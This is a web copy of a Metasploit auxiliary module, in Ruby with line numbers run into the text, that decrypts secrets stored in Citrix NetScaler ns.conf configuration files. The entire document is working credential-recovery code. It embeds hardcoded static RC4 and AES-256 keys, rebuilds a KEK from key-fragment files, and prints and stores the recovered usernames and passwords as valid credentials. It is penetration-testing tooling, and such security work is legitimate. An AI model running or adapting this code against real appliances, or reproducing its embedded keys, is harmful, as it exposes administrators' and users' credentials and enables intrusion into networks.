Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'67class MetasploitModule < Msf::Auxiliary8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Decrypt Citrix NetScaler Config Secrets',15'Description' => %q{16This module takes a Citrix NetScaler ns.conf configuration file as17input and extracts secrets that have been stored with reversible18encryption. The module supports legacy NetScaler encryption (RC4)19as well as the newer AES-256-ECB and AES-256-CBC encryption types.20It is also possible to decrypt secrets protected by the Key21Encryption Key (KEK) method, provided the key fragment files F1.key22and F2.key are provided.23},24'Author' => 'npm[at]cesium137.io',25'Platform' => [ 'bsd' ],26'DisclosureDate' => '2022-05-19',27'License' => MSF_LICENSE,28'References' => [29['URL', 'https://dozer.nz/posts/citrix-decrypt/'],30['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']31],32'Actions' => [33[34'Dump',35{36'Description' => 'Dump secrets from NetScaler configuration'37}38]39],40'DefaultAction' => 'Dump',41'Notes' => {42'Stability' => [ CRASH_SAFE ],43'Reliability' => [ REPEATABLE_SESSION ],44'SideEffects' => [ ARTIFACTS_ON_DISK ]45}46)47)4849register_options([50OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),51OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),52OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),53OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])54])55end5657def loot_host58datastore['NS_IP'] || '127.0.0.1'59end6061def ns_conf62datastore['NS_CONF']63end6465def ns_kek_f166datastore['NS_KEK_F1']67end6869def ns_kek_f270datastore['NS_KEK_F2']71end7273# ns.conf elements that contain potential secrets, update as needed74# k = parameter that has the secret (-key, -password, [...])75# v = start of config line that potentially has a secret76def ns_secret77{78'key' => ['add ssl certKey'],79'keyValue' => ['set ns encryptionParams'],80'radKey' => ['add authentication radiusAction'],81'ldapBindDnPassword' => ['add authentication ldapAction'],82'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],83'passPhrase' => ['add authentication dfaAction']84}85end8687# Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf88def ns90_rc4key89'2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')90end9192def ns90_aeskey93'351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')94end9596def run97if ns_kek_f1 && ns_kek_f298print_status('Building NetScaler KEK from key fragments ...')99build_ns_kek100end101parse_ns_config102end103104def build_ns_kek105unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256106print_error('KEK files must be 256 bytes in size')107return false108end109f1_hex = File.binread(ns_kek_f1)110f2_hex = File.binread(ns_kek_f2)111unless f1_hex.match?(/^[0-9a-f]+$/i)112print_error('Provided F1.key is not valid hexadecimal data')113raise Msf::OptionValidateError, ['NS_KEK_F1']114end115unless f2_hex.match?(/^[0-9a-f]+$/i)116print_error('Provided F2.key is not valid hexadecimal data')117raise Msf::OptionValidateError, ['NS_KEK_F2']118end119f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')120f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')121f1_key_hex = f1_key.unpack('H*').first122f2_key_hex = f2_key.unpack('H*').first123print_good('NS KEK F1')124print_good("\t HEX: #{f1_key_hex}")125print_good('NS KEK F2')126print_good("\t HEX: #{f2_key_hex}")127@ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')128@ns_kek_key_hex = @ns_kek_key.unpack('H*').first129print_good('Assembled NS KEK AES key')130print_good("\t HEX: #{@ns_kek_key_hex}\n")131true132end133134def parse_ns_config135ns_config_data = File.binread(ns_conf)136ns_secret.each do |secret|137element = secret[0]138secret[1].each do |keyword|139lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }140lines.each do |line|141is_kek = false142config_entry = line.to_s143ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }144unless ciphertext.first145ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }146next unless ciphertext.first147end148enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s149if config_entry.match?(/-kek/)150is_kek = true151end152print_status("Config line:\n#{config_entry}")153if is_kek && !@ns_kek_key154print_warning('Entry was encrypted with KEK but no KEK fragment files provided, decryption will not be possible')155next156end157username = parse_username_from_config(config_entry)158ciphertext.each do |encrypted|159encrypted_entry = encrypted.to_s160if encrypted_entry =~ /^[0-9a-f]+$/i161ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')162else163ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')164# TODO: Implement -passcrypt functionality165# ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)166print_warning('Not decrypting passcrypt entry:')167print_warning("Ciphertext: #{ciphertext_b64}")168next169end170case enc_type171when 'ENCMTHD_2' # aes-256-ecb172if is_kek173aeskey = @ns_kek_key174else175aeskey = ns90_aeskey176end177plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)178when 'ENCMTHD_3' # aes-256-cbc179if is_kek180aeskey = @ns_kek_key181else182aeskey = ns90_aeskey183end184plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)185else # rc4 (legacy)186plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)187end188next unless plaintext189190if username191print_good("User: #{username}")192print_good("Pass: #{plaintext}")193store_valid_credential(user: username, private: plaintext)194else195print_good("Plaintext: #{plaintext}")196store_valid_credential(user: element, private: plaintext)197end198end199end200end201end202end203204def parse_username_from_config(line)205# Ugly but effective way to extract the principal name from a config line for loot storage206# The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern207[' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|208next unless line.match?(/#{user_param} (.+)/)209210user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s211if user_name.match?('"')212user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s213end214return user_name215end216false217end218219def ns_rc4_decrypt(rc4key, ciphertext_bytes)220decipher = OpenSSL::Cipher.new('rc4')221decipher.decrypt222decipher.key = rc4key223decipher.update(ciphertext_bytes)224rescue OpenSSL::Cipher::CipherError225print_error("#{__method__}: bad decrypt")226return false227end228229def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)230decipher = OpenSSL::Cipher.new('aes-256-ecb')231decipher.decrypt232decipher.padding = 0233decipher.key = aeskey234(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")235rescue OpenSSL::Cipher::CipherError236print_error("#{__method__}: bad decrypt")237return false238end239240def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)241decipher = OpenSSL::Cipher.new('aes-256-cbc')242iv = ciphertext_bytes[0, 16]243ciphertext = ciphertext_bytes[16..]244decipher.decrypt245decipher.iv = iv246decipher.padding = 1247decipher.key = aeskey248(decipher.update(ciphertext) + decipher.final).delete("\000")249rescue OpenSSL::Cipher::CipherError250print_error("#{__method__}: bad decrypt")251return false252end253end254255256